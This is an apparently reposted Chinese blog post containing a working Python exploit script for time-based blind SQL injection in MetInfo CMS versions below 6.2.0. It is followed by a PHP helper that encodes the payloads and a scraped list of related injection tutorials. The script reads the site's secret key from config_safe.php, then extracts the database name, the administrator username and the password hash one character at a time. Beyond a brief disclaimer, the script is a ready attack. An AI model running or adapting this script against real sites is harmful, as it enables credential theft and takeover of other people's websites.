metinfo小于v6.2.0版本SQL盲注利用脚本
#coding=utf-8
import requests
import re
import sys
import time#获取config_safe.php中的 key
def getKey(url,headers,local_url):try:url_key = url + "/config/config_safe.php"rsp = requests.get(url_key,headers)p = re.compile(r'<\?php\/\*(.*)\*\/\?>')p1 = p.findall(rsp.text)key = p1[0]databaseLen(key,headers,local_url,url)except:sys.exit("The website is secure!!")
#获取数据库长度
def databaseLen(key,headers,local_url,url):for str in range(1,21):len = '%d'%strpayload = "1%27%20or%20if((select%20length(database())="+ len +"),sleep(5),1)%23"back_str = queryKey(key,headers,payload,local_url,url)if back_str is True:breakdatabaseName(len,key,headers,local_url,url)
#爆出数据库名
def databaseName(len,key,headers,local_url,url):len = int(len)chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_.'#可自行添加字符量database_name = ''for i in range(len):ch = i + 1ch = '%d'%chfor char in chars:payload = "1%27%20or%20if((select%20mid(database(),"+ ch +",1)=binary%20%27"+ char +"%27),sleep(5),1)%23"back_str = queryKey(key,headers,payload,local_url,url)if back_str is True:breakdatabase_name = database_name + charprint("数据库名字为:%s"%database_name)adminName(database_name,key,headers,local_url,url)
#爆出管理员用户名
def adminName(database_name,key,headers,local_url,url):#首先爆用户名长度for i in range(1,20):len = '%d'%ipayload_len = "%27%20or%20if(((select%20length(admin_id)%20from%20"+ database_name +".met_admin_table%20limit%200,1)="+ len +"),sleep(5),1)%23"back_len = queryKey(key,headers,payload_len,local_url,url)if back_len is True:break#在爆出用户名chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789_.'#可自行添加admin_name = ''for x in range(i):str = '%d'%(x+1)for char in chars:payload_str = "1%27%20or%20if((mid((select%20admin_id%20from%20"+ database_name +".met_admin_table%20limit%200,1),"+ str +",1)=binary%20%27"+ char +"%27),sleep(5),1)%23"back_str = queryKey(key,headers,payload_str,local_url,url)if back_str is True:admin_name = admin_name + charbreakprint("管理员用户名为:%s"%admin_name)adminPass(key,headers,local_url,url,database_name,admin_name)
#爆管理员密码
def adminPass(key,headers,local_url,url,database_name,admin_name):chars = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789_.'#可自行添加admin_pass = ''for i in range(1,33):str = '%d'%ifor char in chars:payload = "1%27%20or%20if((mid((select%20admin_pass%20from%20"+ database_name +".met_admin_table%20where%20admin_id=%27"+ admin_name +"%27),"+ str +",1)=binary%20%27"+ char +"%27),sleep(5),1)%23"back_str = queryKey(key,headers,payload,local_url,url)if back_str is True:breakadmin_pass = admin_pass + charprint("管理员密码md5为:%s"%admin_pass)
#获取encode后的数据
def queryKey(key,headers,str,local_url,url):payload = "key="+key+"&str="+strrsp = requests.post(local_url,headers = headers,data = payload)
# str = rsp.url
# data = str.replace('+','%20').replace('%28','(').replace('%29',')').replace('%3D','=').replace('%2C',',')
# print(data)return getTestUrl(url,rsp.text,headers)
#获取需要测试的URL
def getTestUrl(url,payload,headers):params = "p="+payloadtest_url = url + "/admin/index.php?n=user&m=web&c=register&a=doemailvild"return getData(test_url,params,headers)
#获取数据
def getData(url,params,headers):startTime = time.time();rsp = requests.post(url,data=params,headers=headers)if time.time() - startTime > 4:return Trueelse:pass
if __name__ == '__main__':headers = {"Content-Type":"application/x-www-form-urlencoded","User-Agent":"Mozilla/5.0 (Windows NT 6.1; WOW64; rv:27.0) Gecko/20100101 Firefox/27.0","Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8","Accept-Language":"en-US,en;q=0.5"}url = input("please input URL:")if "http://" or "https://" in url:local_url = input("请输入本地搭建的encode函数地址:")getKey(url,headers,local_url)else:print("please input the correct url!!")
本地搭建的encode函数:
<?php
function authcode($string, $operation = 'DECODE', $key = '', $expiry = 0){$ckey_length = 4; $key = md5($key ? $key : UC_KEY);$keya = md5(substr($key, 0, 16));$keyb = md5(substr($key, 16, 16));$keyc = $ckey_length ? ($operation == 'DECODE' ? substr($string, 0, $ckey_length): substr(md5(microtime()), -$ckey_length)) : '';$cryptkey = $keya.md5($keya.$keyc);$key_length = strlen($cryptkey);$string = $operation == 'DECODE' ? base64_decode(substr($string, $ckey_length)) : sprintf('%010d', $expiry ? $expiry + time() : 0).substr(md5($string.$keyb), 0, 16).$string;$string_length = strlen($string);$result = '';$box = range(0, 255);$rndkey = array();for($i = 0; $i <= 255; $i++) {$rndkey[$i] = ord($cryptkey[$i % $key_length]);}for($j = $i = 0; $i < 256; $i++) {$j = ($j + $box[$i] + $rndkey[$i]) % 256;$tmp = $box[$i];$box[$i] = $box[$j];$box[$j] = $tmp;}for($a = $j = $i = 0; $i < $string_length; $i++) {$a = ($a + 1) % 256;$j = ($j + $box[$a]) % 256;$tmp = $box[$a];$box[$a] = $box[$j];$box[$j] = $tmp;$result .= chr(ord($string[$i]) ^ ($box[($box[$a] + $box[$j]) % 256]));}if($operation == 'DECODE') {if((substr($result, 0, 10) == 0 || substr($result, 0, 10) - time() > 0) && substr($result, 10, 16) == substr(md5(substr($result, 26).$keyb), 0, 16)) {return substr($result, 26);} else {return '';}}else{return $keyc.str_replace('=', '', base64_encode($result));}}
print_r(urlencode(authcode($_POST['str'],'ENCOUDE',$_POST['key'],0)));
使用图片:
此脚本为本人初学成果展示,请勿恶意利用该脚本攻击他人网站。
转载于:https://www.cnblogs.com/Spec/p/10735432.html
metinfo小于v6.2.0版本SQL盲注利用脚本相关推荐
- sql注入攻击与防御第二版读书笔记二——SQL盲注利用
寻找并确认SQL盲注 强制产生通用错误 注入带副作用的查询 如 mssql waitfor delay '0:0:5' mysql sleep() 拆分与平衡 5 -> 7-2 常见SQL盲注场 ...
- sql盲注自动化脚本编写
GET型bool注入 import requests baseurl='http://127.0.0.1/sqli-labs/Less-5/' db_name = '' db_lenth='' tab ...
- DVWA下的SQL注入与SQL盲注
一.SQL注入 SQL注入是指web应用程序对用户输入数据的合法性没有判断或过滤不严,攻击者可以在web应用程序中事先定义好的查询语句的结尾上添加额外的SQL语句,在管理员不知情的情况下实现非法操作, ...
- Dvwa之SQL盲注全级别学习笔记
SQL盲注 盲注是SQL注入的一种,相比于常规的SQL注入,盲注一般不会返回数据库的数据信息或者语句提示.只会返回管理员设定的特定信息. SQL盲注-测试流程 同样的,和之前DVWA的普通SQL In ...
- 你不知道的20万sql盲注(速来)
1盲注基础sql实验 cet 192.168.121.1 win 192.168.121.2 首先登入cet 进入数据库 然后在mysql客户端输入以下命令 use dvwa : 得到当前数据库名称 ...
- sql盲注的一些小心得
一.关于概念 sql 盲注是对于那些页面没有回显的错误,只能依靠自己的经验去一点一点猜测,这就比较耗费时间了, 具体的一些原理可以参考https://blog.csdn.net/qq_36706878 ...
- 让你轻松学会PHP版自动化SQL盲注工具-全库-全表-全字段-全字段值查询
前言 由于一些个人原因,很久没有研究WEB安全方面的一些问题了(废话四个月前月还发了帖),正好炎炎夏日暑假的生活到来,这个时候我需要的是恶补,恶补,恶补.兜兜转转到了SQL盲注部分,然后在SQL盲注上 ...
- python sql注入漏洞 ctf_CTF-WEB 一个登录框SQL盲注
一些师兄给了个平台,最近学了很多SQL注入和编写脚本的知识,跃跃欲试,结果这一做就是漫漫长路,还是很多东西不熟悉啊. 首先找注入点: 发现用户名错误和密码错误会分开提示,可以用布尔盲注,(*^▽^*) ...
- python脚本自动化盲注_三、基于报错型注入和sql盲注的自动化实现
通过前面payload的构造,不难发现,对于报错型注入和布尔注入(sql盲注)纯手工注入的效率是非常慢的.这些payload语句虽然复杂,但大部分内容都是相同的,因此,一言不合就写了个脚本自动化注入, ...
最新文章
- 阿里技术人的成长路径是什么?
- linux 系统优化初始化配置
- matlab撤销上一步命令_CAD快速入门技巧:CAD软件中撤销操作的方法汇总
- 科大星云诗社动态20210215
- c++静态变量的生存期
- Android Activity标签属性
- 为什么我喜欢Spring bean别名
- mysql多表添加怎么写_mysql多表连接的几种写法
- window搭建python环境
- html 图片滑动验证码,html+jQuery实现拖动滑块图片拼图验证码插件【移动端适用】...
- mysql外键设置sql语句_数据库sql语句如何设置外键
- 寻宝游戏设定_Excel寻宝游戏
- xp计算机调亮度,老xp系统怎么调亮度台式电脑(教你XP系统如何调节亮度)
- CSS学习18:CSS选择器二
- 水质检测c语言程序,单片机TDS水质检测源程序
- 第一讲_SQP添加与查询语句
- Kettle连接mysql 驱动报 Driver class ‘org.gjt.mm.mysql.Driver‘ could not be found, make sure the ‘MySQL‘..
- 电子标签读取异常怎么办
- 校园安防之高清IP摄像头全终端无插件直播视频流媒体服务EasyNVR校园监控系统方案
- 2015年二本投档线